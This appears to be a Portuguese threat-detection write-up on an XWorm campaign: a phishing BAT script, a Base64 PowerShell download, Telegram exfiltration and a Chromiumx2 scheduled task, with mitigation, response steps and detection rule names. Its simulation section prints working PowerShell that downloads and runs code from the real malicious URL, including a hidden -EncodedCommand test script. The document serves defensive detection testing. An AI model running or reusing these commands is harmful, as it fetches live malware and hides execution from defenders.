Script Malicioso Entregando Mais Malícia
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um email de phishing entrega um anexo malicioso contendo um script BAT que inicia o PowerShell para baixar uma carga útil codificada em Base64. Após a decodificação, a carga útil se transforma em XWorm, um stealer .NET que identifica o host e exfiltra dados coletados através de um bot do Telegram. A persistência é estabelecida criando uma tarefa agendada que executa repetidamente o executável baixado. A operação depende de vários elementos de infraestrutura, incluindo uma isca de hospedagem de imagens falsa e pelo menos um IP comprometido usado para planejar a carga útil.
Investigação
A revisão do script BAT revelou uma linha única de comando do PowerShell que recupera um arquivo parecido com PNG de um domínio controlado pelo atacante. O conteúdo Base64 embutido é então sanitizado, invertido e decodificado para reconstruir o executável .NET. A análise binária mostrou que o malware registra uma tarefa agendada chamada Chromiumx2 e usa a API do Telegram para comando e controle e exfiltração de dados. Os investigadores extraíram indicadores principais de rede, incluindo o domínio de hospedagem, endereço IP associado e o endpoint da API do Telegram referenciado durante a execução.
Mitigação
Prevenir a execução de conteúdo BAT e PowerShell não confiável originado de anexos de email ou diretórios de download dos usuários. Aplicar uma lista de permissões de aplicativos para restringir a criação de tarefas agendadas e sinalizar novos registros de tarefas suspeitos. Monitorar e, quando possível, restringir o acesso de saída para endpoints da API do Telegram e bloquear os domínios maliciosos identificados nas camadas de DNS/proxy. Manter as detecções de endpoint atualizadas com novos indicadores observados e padrões de download baseados em scripts.
Resposta
Isolar endpoints onde a tarefa agendada Chromiumx2 ou Chromiumx2.exe é observada. Remover a tarefa agendada, deletar o binário malicioso e coletar artefatos (script, carga útil decodificada, XML de tarefa e logs relevantes) para escopo forense. Caçar pelo ambiente o mesmo nome de tarefa, comportamento de decodificação PowerShell similar, e tráfego direcionado pelo Telegram. Redefinir credenciais potencialmente expostas e notificar os usuários sobre o anexo de phishing para reduzir execução repetida.
Fluxo de Ataque
Detecções
Possível Abuso do Telegram Como Canal de Comando e Controle (via dns_query)
Visualizar
Processo Suspeito Utiliza um URL na Linha de Comando (via cmdline)
Visualizar
Download ou Upload via Powershell (via cmdline)
Visualizar
Schtasks Aponta para Diretório / Binário / Script Suspeito (via cmdline)
Visualizar
Strings Suspeitas do Powershell (via powershell)
Visualizar
Arquivos Suspeitos no Perfil do Usuário Público (via file_event)
Visualizar
Strings Suspeitas do Powershell (via cmdline)
Visualizar
Possível Uso do Schtasks ou AT para Persistência (via cmdline)
Visualizar
IOCs (SourceIP) para detectar: Script Malicioso Entregando Mais Malicias
Visualizar
IOCs (DestinationIP) para detectar: Script Malicioso Entregando Mais Malicias
Visualizar
Criação de Tarefa Agendada para Persistência do Chromiumx2 [Criação de Processo do Windows]
Visualizar
Detectar Busca de Carga Útil do PowerShell Codificada em Base64 [Powershell do Windows]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter passado.
-
Narrativa do Ataque & Comandos:
O atacante quer baixar e executar uma carga útil maliciosa de um servidor web comprometido. Para evitar a detecção de assinatura clássica, eles embutem toda a lógica de download e execução em uma única string Base64 e invocam o PowerShell com-EncodedCommand. O comando referencia o URL exato que a regra de detecção monitora (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Codificar a carga útil maliciosa (um simples downloader que executa o script recebido):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64B64 Resultante (exemplo):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(truncado). -
Execute o comando codificado:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Esta linha única gera a telemetria exata que a regra Sigma espera: um processo PowerShell, o
-EncodedCommandflag, e o URL malicioso dentro do bloco de script decodificado. -
-
Script de Teste de Regressão:
#------------------------------------------------- # Script de regressão para acionar a regra de detecção #------------------------------------------------- # 1. Construir a carga útil maliciosa $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Execute a carga útil via um comando PowerShell codificado Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Comando codificado e malicioso executado." #------------------------------------------------- -
Comandos de Limpeza:
# Remover quaisquer arquivos temporários (nenhum esperado, pois a carga útil é transmitida diretamente) # Terminar quaisquer processos PowerShell ocultos iniciados pelo teste Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Limpeza completa."